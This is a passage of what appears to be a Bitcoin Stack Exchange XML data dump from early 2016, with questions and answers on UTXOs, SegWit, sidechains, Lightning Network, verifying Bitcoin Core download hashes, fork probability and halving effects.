ContentLicense="CC BY-SA 3.0" />
  <row Id="42630" PostTypeId="1" AcceptedAnswerId="42631" CreationDate="2016-01-28T17:11:17.023" Score="4" ViewCount="1936" Body="&lt;p&gt;Is a simple question, but I want to understand this at the low level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the UTXO is a database with the yet-to-be-spent coins, how can I say that a given coin was already full spent? What would be a &quot;half&quot;-spent coin (if this is even possible)?&lt;/p&gt;&#xA;" OwnerUserId="21351" LastActivityDate="2017-03-04T14:13:00.560" Title="How is it possible to say that a bitcoin was fully spent?" Tags="|utxo|spending|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42631" PostTypeId="2" ParentId="42630" CreationDate="2016-01-28T17:49:23.947" Score="6" Body="&lt;p&gt;An output (&quot;coin&quot;) is by definition either fully unspent or completely spent. There is nothing in between. A transaction has one or more inputs (which refer to the unspent outputs of earlier transaction) and it fully consumes them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction can also have 1 or more outputs. For each output a value is specified (number of Satoshis), so by being a little creative you can easily split or merge &quot;coins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way Bitcoin &quot;simply&quot; needs to remember only the last outputs of a chain of transactions, there is no point in remembering (indexing) anything older. That's what the UTXO set is: Unspent Transaction Outputs database.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2016-01-29T09:28:14.867" LastActivityDate="2016-01-29T09:28:14.867" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42632" PostTypeId="2" ParentId="42630" CreationDate="2016-01-28T18:31:13.777" Score="1" Body="&lt;p&gt;&lt;strong&gt;UTXO can only be spent completely.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens by claiming them in the Transaction Input Script and requires a valid signature corresponding to the address the UTXO is associated with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction inputs' value is then reassigned by the transaction to create new unspent transaction outputs. Usually, there are at least two outputs, one going to the recipient of the payment, and a &lt;strong&gt;change output&lt;/strong&gt; going back to the wallet of the sender. The sum of the assigned outputs must be smaller than or equal to the sum of consumed inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any amount that doesn't get assigned to new outputs can be claimed by the successful miner as &lt;strong&gt;transaction fee&lt;/strong&gt; in the Coinbase transaction of the block the transaction gets included in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a block gets found, all nodes in the network enact all the transactions on their UTXO set, marking the inputs as spent and replacing them with the newly minted unspent transaction outputs.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-28T18:31:13.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42634" PostTypeId="1" AcceptedAnswerId="46330" CreationDate="2016-01-28T20:21:06.823" Score="5" ViewCount="335" Body="&lt;h2&gt;Considering the following scenario:&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After deployment of SegWit, there remain two &lt;strong&gt;old&lt;/strong&gt; clients (with software that is unaware of SegWit) &lt;strong&gt;A&lt;/strong&gt; &amp;amp; &lt;strong&gt;B&lt;/strong&gt;.&lt;br&gt;&#xA;  &lt;strong&gt;A&lt;/strong&gt; funds a transaction to pay &lt;strong&gt;B&lt;/strong&gt; using a SegWit output which appears to both as &lt;code&gt;ANYONE_CAN_SPEND&lt;/code&gt;.&lt;br&gt;&#xA;  Upgraded nodes ignore this transaction, as it obviously isn't signed correctly under the rules of SegWit. (Perhaps even ban old nodes that relay this &quot;invalid transaction&quot; to them?) However, among old nodes the transaction gets propagated as valid. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the case that &lt;strong&gt;B&lt;/strong&gt; gets notice of the transaction, would it display an &quot;incoming unconfirmed transaction&quot;?&lt;br&gt;&#xA;Could people get fooled that way if they accept Zero Confirmation (which I'm aware isn't safe)?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-29T10:53:45.827" LastActivityDate="2016-07-03T10:27:22.690" Title="Can unupgraded nodes that accept zero confirmation be fooled after SegWit?" Tags="|segregated-witness|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42635" PostTypeId="1" AcceptedAnswerId="42652" CreationDate="2016-01-28T20:23:15.967" Score="0" ViewCount="136" Body="&lt;p&gt;I've been reading about Blockstream and &lt;a href=&quot;https://blockstream.com/2015/10/12/introducing-liquid/&quot; rel=&quot;nofollow&quot;&gt;Liquid&lt;/a&gt; but I was under the impression that sidechain was something that would require changes to the Bitcoin Core platform. Is that correct? I mean, is the bicoin blockchain already supporting a &quot;peg&quot; to another sidechain? Can I already launch my own sidechain like Blockstream did?&lt;/p&gt;&#xA;" OwnerUserId="28219" LastActivityDate="2016-01-29T20:22:21.470" Title="I want to launch my own simple sidechain pegged to bitcoin for testing purposes. Can it be done?" Tags="|sidechains|blockstream|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42636" PostTypeId="1" CreationDate="2016-01-28T20:37:59.600" Score="2" ViewCount="112" Body="&lt;p&gt;In figure 1 of the original paper by satoshi, why include the public key of the next owner in the hash?&lt;/p&gt;&#xA;" OwnerUserId="32470" LastActivityDate="2016-01-28T20:55:28.620" Title="Whats the public key required for in a transaction?" Tags="|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42637" PostTypeId="2" ParentId="42636" CreationDate="2016-01-28T20:55:28.620" Score="2" Body="&lt;p&gt;The public key belongs to, and identifies, the recipient of the funds. Without it, the network doesn't know who the money goes to, and the rightful owner can't use it.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2016-01-28T20:55:28.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42639" PostTypeId="1" AcceptedAnswerId="42653" CreationDate="2016-01-29T00:12:31.833" Score="19" ViewCount="1590" Body="&lt;p&gt;Lightning network's first prototype code is online, so it's about time we learn more about what it is. (At least I wish some people would…)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are the expected trade-offs of Lightning Network to Bitcoin mainchain?&lt;/strong&gt;&lt;br&gt;&#xA;Some points that would be nice if they got covered:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;privacy&lt;/li&gt;&#xA;&lt;li&gt;confirmation speed&lt;/li&gt;&#xA;&lt;li&gt;fees&lt;/li&gt;&#xA;&lt;li&gt;time until spendable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And for the bonus: Will Lightning Network be centralized?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2017-10-10T20:57:21.580" Title="What are the trade-offs between transacting on Lightning Network and Bitcoin mainchain?" Tags="|lightning-network|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42640" PostTypeId="1" CreationDate="2016-01-29T00:22:06.070" Score="0" ViewCount="82" Body="&lt;p&gt;I've been playing around learning more about Bitcoin and was following &lt;a href=&quot;https://21.co/learn/digital-signatures/#using-hashes-and-cryptographic-signatures-to-verify-data-integrity&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial from 21.co on digital signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the SHA256SUMS.asc file and try to verify the packages, I get different hashes than what's in the file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -O https://bitcoin.org/bin/bitcoin-core-0.11.0.tar.gz&#xA;&#xA;shasum -a 256 bitcoin-core-0.11.0.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;69b00985c84e6633cc2e518914436ce55666cc10d1edf15ee442758d9f8d5219  bitcoin-core-0.11.0.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is very different from what is in the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c7a5e496d7c31bdc10d2c0c79dfcf9aca69f9520579917c7d3e95868b2127707  bitcoin-0.11.0-osx64.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm using a different command then what is mentioned in the tutorial for checking the hashes. &lt;code&gt;shasum -a 256&lt;/code&gt; instead of &lt;code&gt;sha256sum&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong here?&lt;/p&gt;&#xA;" OwnerUserId="12375" LastActivityDate="2016-01-29T01:38:53.780" Title="Getting the wrong hashes for bitcoin core packages" Tags="|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42641" PostTypeId="2" ParentId="41329" CreationDate="2016-01-29T00:49:11.777" Score="2" Body="&lt;p&gt;Bitcoin is taxed as capital property (see &lt;a href=&quot;https://www.irs.gov/pub/irs-drop/n-14-21.pdf&quot; rel=&quot;nofollow&quot;&gt;IRS Notice 2014-21&lt;/a&gt;), and a tax event occurs any time it is converted into fiat (e.g. USD) or other assets. You would have to record each transaction and include it in 1040 Schedule D.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the difference between how much USD you received less the value of those BTC when bought/acquired them. If you had owned those coins for more than a year, you can report it as &quot;long-term&quot; gains, which has a reduced tax rate. Otherwise, it &quot;short-term&quot;, which is just taxed as normal income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://bitcoin.tax&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.tax&lt;/a&gt; to help work it out.&lt;/p&gt;&#xA;" OwnerUserId="23172" LastActivityDate="2016-01-29T00:49:11.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42642" PostTypeId="2" ParentId="42634" CreationDate="2016-01-29T01:03:29.910" Score="5" Body="&lt;p&gt;If it is a transaction that pays B, that means that B chose that address. If B doesn't support SegWit, it won't ask for a SegWit output, so this cannot happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, SegWit wallets will likely use P2SH initially; the SegWit output will be embedded in a pay-to-scripthash, and the address a SegWit wallets gives to sender will be the P2SH hash of the SegWit output script. However, in our scenario, B doesn't know anything about all that, and will just give out a normal old-style pay-to-pubkey-hash address, and A will pay to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about failure scenarios around softforks that introduce new transaction types: &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012014.html&quot;&gt;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012014.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-01-29T01:03:29.910" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42643" PostTypeId="2" ParentId="42640" CreationDate="2016-01-29T01:38:53.780" Score="3" Body="&lt;p&gt;You are hashing the 404 page returned by bitcoin.org. You can see this by running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -s https://bitcoin.org/bin/file-does-not-exist | sha256sum&#xA;69b00985c84e6633cc2e518914436ce55666cc10d1edf15ee442758d9f8d5219  -&#xA;$ curl -s https://bitcoin.org/bin/file-does-not-exist2 | sha256sum&#xA;69b00985c84e6633cc2e518914436ce55666cc10d1edf15ee442758d9f8d5219  -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should instead run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -O https://bitcoin.org/bin/bitcoin-core-0.10.0/bitcoin-0.10.0.tar.gz&#xA;$ sha256sum bitcoin-0.10.0.tar.gz # shasum -a 256 would also work&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a516cf6d9f58a117607148405334b35d3178df1ba1c59229609d2bcd08d30624  bitcoin-0.10.0.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is the SHA256SUM listed in the associated &lt;code&gt;SHA256SUMS.asc&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-01-29T01:38:53.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42649" PostTypeId="1" AcceptedAnswerId="42650" CreationDate="2016-01-29T13:27:04.907" Score="3" ViewCount="1414" Body="&lt;p&gt;Is there any general formula that allows someone to calculate what is the current probability of having a chain fork?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the probability of finding a new block is proportional to the difficulty target. Given that it's possible to have &lt;code&gt;2^256&lt;/code&gt; different hashes (for simplification), finding a &lt;code&gt;nonce&lt;/code&gt; that will yield a hash lower than &lt;code&gt;target&lt;/code&gt; has probability of approximately &lt;code&gt;P(m) = (2^256 - target)/2^256&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that a block will be mined within 10 minutes and considering that a delay of 2 seconds would be small enough for the newtwork propagation not being complete, that is, if two nodes find a block 2 seconds appart, there would be no time to notify the full network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is when it gets complicated to me (statistics is not strong with me). What is the probability of the situation described above occur?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is something related with a normal distribution, but I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My rational to find the probability of forking would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;P(fork) = P(m1) * P(m2) * P(tdse)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;P(m1)&lt;/code&gt; is the probability of node 1 to find a new block, &lt;code&gt;P(m2)&lt;/code&gt; the same for node 2 and &lt;code&gt;P(tdse)&lt;/code&gt; is the probability of both mining occur with a &lt;strong&gt;t&lt;/strong&gt;ime &lt;strong&gt;d&lt;/strong&gt;ifference &lt;strong&gt;s&lt;/strong&gt;mall &lt;strong&gt;e&lt;/strong&gt;nough to not be propagated to the entire network.&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="21351" LastEditDate="2016-01-29T13:42:37.230" LastActivityDate="2016-01-30T08:11:52.280" Title="What is the probability of forking in blockchain?" Tags="|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42650" PostTypeId="2" ParentId="42649" CreationDate="2016-01-29T14:15:06.890" Score="7" Body="&lt;p&gt;Actually, it is not related to the difficulty at all, rather just related to the expected time until the next block is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block finding is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Poisson_process&quot; rel=&quot;noreferrer&quot;&gt;Poisson process&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The probability of &lt;code&gt;x&lt;/code&gt; blocks occuring in the amount of time we'd expect &lt;code&gt;λ&lt;/code&gt; blocks occuring therefore is:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/60tgi.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/60tgi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In ideal conditions, we expect one block per ten minutes, i.e. 600 seconds. Therefore in 2 seconds we'd expect 1/300 blocks occuring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;p(2|1/300)&lt;/code&gt; evaluates to approximately 5.54*10&lt;sup&gt;-6&lt;/sup&gt; which is about 0.000554%, i.e. &lt;strong&gt;we'd expect two blocks to occur within two seconds once every 180k blocks or every ~3.4 years&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More exciting are ten seconds which has a probability of about 0.00014, i.e. we'd expect two blocks within ten seconds to happen once every 7000 blocks, i.e. roughly every seven weeks.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-30T08:11:52.280" LastActivityDate="2016-01-30T08:11:52.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42651" PostTypeId="1" CreationDate="2016-01-29T16:02:00.073" Score="0" ViewCount="181" Body="&lt;p&gt;I recently backed up my blockchain to an external drive and restored my computer from Windows 10 to XP. Afterwards, I copied the blockchain back to my hard drive and downloaded a portable copy of Bitcoin Core and ran it. It said it had many hours to sync, and I left it overnight. When I came back, it had crashed with XP's message about it needing to close. I opened it again and it said that some part of the blockchain files were corrupt and started syncing from 2009. I restored my backup again and it only had 34 hours to catch up on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I got up and the same error was displayed. But this time when I reopened it, it only has to catch up on 2 hours. If it works then that's great, but does anyone know what's happening?&lt;/p&gt;&#xA;" OwnerUserId="30782" LastActivityDate="2016-02-06T15:58:38.340" Title="Bitcoin Core crashes on XP twice" Tags="|bitcoin-core|windows|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42652" PostTypeId="2" ParentId="42635" CreationDate="2016-01-29T16:49:02.517" Score="2" Body="&lt;p&gt;The seminal whitepaper on sidechains, &amp;quot;&lt;a href=&quot;https://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Enabling Blockchain Innovations with Pegged Sidechains&lt;/a&gt;,&amp;quot; describes modifying Bitcoin's Script to support simplified payment validation (SPV):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To use Bitcoin as the parent chain, an extension to script which can recognise and validate such SPV proofs would be required. At the very least, such proofs would need to be made compact enough to fit in a Bitcoin transaction. However, this is just a soft-forking change⁹, without effect on transactions which do not use the new features.&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;⁹A soft-forking change is a change which only imposes further restrictions on what is valid inside the chain.&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, this is for a &amp;quot;two-way peg.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;For a so-called &amp;quot;federated peg,&amp;quot; which does not require a modification to Bitcoin, see Appendix A of &lt;a href=&quot;https://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the whitepaper&lt;/a&gt; or circa 15 min. into &lt;a href=&quot;https://blockstream.com/developers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Greg Maxwell's presentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-01-29T20:22:21.470" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="42653" PostTypeId="2" ParentId="42639" CreationDate="2016-01-29T18:59:31.817" Score="12" Body="&lt;p&gt;Below describes these points during what's planned to be normal operation. Once a channel needs to be torn down because of a problem with one of the nodes (evil or accidental) some of these answers are a little different.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;privacy&lt;/strong&gt; - Privacy is not a linear scale, but there are a few factors that clearly improve privacy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Very few transactions actually end up on the permanent and public blockchain. And those are a payment from you to an LN node (or vice versa) and there is no record on the blockchain of the actual destinations (or sources) of the money.&lt;/li&gt;&#xA;&lt;li&gt;Routing of messages (and LN transactions) will be done in a Tor like fashion (Onion routing) with encryption of the message such that intermediate nodes can't read the transactions nor do they know the true origin or destination (IP address) of the transaction.&lt;/li&gt;&#xA;&lt;li&gt;To obfuscate your actions, you can pay to yourself from one channel to another, and I'd assume it's a lot easier to do quick and trustless mixing through LN.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;confirmation speed&lt;/strong&gt; - You don't need to wait for any confirmations at all, so transactions are truly instant. Network latency (multiple hops) will be the deciding factor as all encryption and other overhead is low even for relatively low end hardware (phones).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;fees&lt;/strong&gt; - Every hop will want a little bit of fee for the service of forwarding your transaction. This can be pretty tiny though, allowing for true micro payments. In some cases nodes might want to balance out their channels and give you negative fees depending on which direction the money is flowing. This will create an interesting market between all the nodes offering their services and keeping fees fair and low.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;time until spendable&lt;/strong&gt; - Immediate. Any money you receive on a channel you can immediately spend again (through the same channel). If you want to settle on the blockchain and then spend the bitcoins there, you'll first have to close the channel, which under normal conditions requires the standard 10 minutes confirmation time (you don't need more confirmations, although the person you are sending the Bitcoins to might still require 6 confirmations).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;centralized&lt;/strong&gt; - The software is fully open source. Any one can start up a node, put some Bitcoins in and start offering their service to the network and earn some fees for doing it. This low barrier to entry and ease of use should provide enough competition and enough nodes to make it decentralized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some caveats: people will have to put some funds into the node that are at risk if the device gets hacked (initially possibly through bugs in LN, but in general through any malware or badly secured and outdated operating systems). This might be a slightly centralizing force as security is relatively cheaper to do at scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DOS protection might be something to think about too. Maybe have the option of using a 3G phone or other channel invisible to the attackers (even sneakernet!) when a true attack is underway and you need to close some channels before they expire. Very little bandwidth is necessary to do that, I'm not sure a DOS attack make uploading a few transactions impossible anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I think it's required (or maybe just wise) to run a full Bitcoin node (possibly pruning) on the LN node. LN needs to have access to the blockchain data in a trustless way and need to be able to send transactions to the Bitcoin network reliably in case it's necessary to tear down a payment channel (within a certain timeout). A pruning full node is not that bad to run, but there's a bit of cost that would be lower in a centralized situation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-29T18:59:31.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42654" PostTypeId="2" ParentId="3111" CreationDate="2016-01-29T22:16:54.740" Score="-3" Body="&lt;p&gt;I propose that the payment processing activities shift away from miners and be placed on the retailers accepting bitcoin transactions. What if every retailer accepting bitcoin transactions for more than an average of approximately $5 USD was asked to run a small scale, highly efficient mining rig at their place of business? Or even a highly efficient raspberry pie miner at every retailer accepting bitcoin? The cost of the hardware and electricity for the retailers to dedicate hashing resources to the community would be much less than the current payment processing fees charged by centralized banking entities. This would keep payment processing decentralized, the hashrate acceptably high, and eliminate the need for miners. I do not see miners adding any value to the bitcoin project now or in the future. In fact, I think the entire project is at risk due to the current mining structure, and the power of the mining pools. Retailers would voluntarily participate knowing they are doing their part to keep the network safe, secure, and bitcoin transactions affordable.  The alternative is to pay whatever mining pools demand as transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="32499" LastActivityDate="2016-01-29T22:16:54.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42655" PostTypeId="1" CreationDate="2016-01-30T00:50:44.523" Score="1" ViewCount="273" Body="&lt;p&gt;So im trying to request payment through my website but having problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using Windows 7 x32 as a testing environment. I installed Electrum via the installer and not the standalone exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing is that electrum is showing this in Preferences when it comes to SSL: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h5uxb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h5uxb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using a self-signed certificate that I generated from OpenSSL. Next, i think i messed up when it came to the rewrite settings because when I type in &quot;electrum addrequest 3.14 -m &quot;this is a test&quot; &quot; via CMD (with admin), two files  are generated in the right path of my server &#xA;&lt;a href=&quot;https://i.stack.imgur.com/qxk8z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qxk8z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(the index.html was not generated, i coped it from one of the electrum folders)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the index.html was not generated, i coped it from one of the electrum foldersbut without the index.html. I actually tried finding a copy of the index.html and pasting it to the directy of the folder and tried doing the &quot;index.html?id=(ID HERE)&quot; but nothing changed as shown here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hgSe4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hgSe4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried doing &quot;listrequests()&quot; via the Electrum command line, i got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CBfS7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CBfS7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please tell me where I messed up?&lt;/p&gt;&#xA;" OwnerUserId="32283" LastEditorUserId="34469" LastEditDate="2016-04-02T21:16:42.473" LastActivityDate="2016-04-02T21:16:42.473" Title="Electrum - Setting up a server - Problems!" Tags="|client|electrum|sell-bitcoins|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42656" PostTypeId="1" CreationDate="2016-01-30T03:19:43.200" Score="2" ViewCount="5940" Body="&lt;p&gt;What is the case after halving reward takes place:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would bitcoin price gets double, since its harder to mine? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would Blockchain introduces more blocks (e.g: 1/5mins)?&lt;/p&gt;&#xA;" OwnerUserId="29842" LastEditorUserId="5406" LastEditDate="2016-01-30T10:07:09.797" LastActivityDate="2016-01-30T22:28:50.060" Title="Halving reward, price effects?" Tags="|exchange-rate|economic-theory|mining-reward|hashpower|reward-schedule|" AnswerCount="2" CommentCount="1" ClosedDate="2016-02-02T20:53:51.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="42657" PostTypeId="1" AcceptedAnswerId="42658" CreationDate="2016-01-30T03:47:31.880" Score="0" ViewCount="658" Body="&lt;p&gt;I run a Bitcoin Core node on my computer and have a Windows tablet. My wallet is on the computer and I want to keep it there. Is there a way to have my tablet create a new Bitcoin address for my wallet by telling my node to do it and sending me the result, thus keeping my private keys and wallet off my tablet?&lt;/p&gt;&#xA;" OwnerUserId="30782" LastActivityDate="2016-01-30T07:54:12.863" Title="Connect a mobile client to wallet on remote Bitcoin Core" Tags="|bitcoin-core|mobile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42658" PostTypeId="2" ParentId="42657" CreationDate="2016-01-30T07:54:12.863" Score="2" Body="&lt;p&gt;Yes, you can use the node's RPC API method &lt;a href=&quot;https://bitcoin.org/en/developer-reference#getnewaddress&quot; rel=&quot;nofollow&quot;&gt;getnewaddress&lt;/a&gt; to create a new public-key pair and it will return the address.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-01-30T07:54:12.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42659" PostTypeId="2" ParentId="42619" CreationDate="2016-01-30T08:05:41.890" Score="0" Body="&lt;p&gt;Insuring bitcoins would be very difficult to practically implement. It is very easy to transfer them to an address you own and claim they have been lost.&lt;/p&gt;&#xA;" OwnerUserId="23302" LastActivityDate="2016-01-30T08:05:41.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42660" PostTypeId="2" ParentId="42656" CreationDate="2016-01-30T09:41:40.123" Score="3" Body="&lt;h2&gt;Will Bitcoin switch to a faster block rhythm?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;No, the Blockchain will not change the number of blocks produced. That would require the difficulty retargeting rules to be changed, but the difficulty setting is part of the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#consensus-rule-changes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Consensus Rules&lt;/a&gt;, i.e. changing them would require a successful &lt;a href=&quot;https://bitcoin.stackexchange.com/q/30817/5406&quot;&gt;Hard Fork&lt;/a&gt;. There are currently no such plans.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Price&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is lots of speculation about price effects, but before we get to that, let's review the facts first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Facts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Daily production is about 3600 bitcoins (~144*25)&lt;/li&gt;&#xA;&lt;li&gt;The Halving will reduce this to about 1800 bitcoins per day&lt;/li&gt;&#xA;&lt;li&gt;The timing of the halving can be predicted 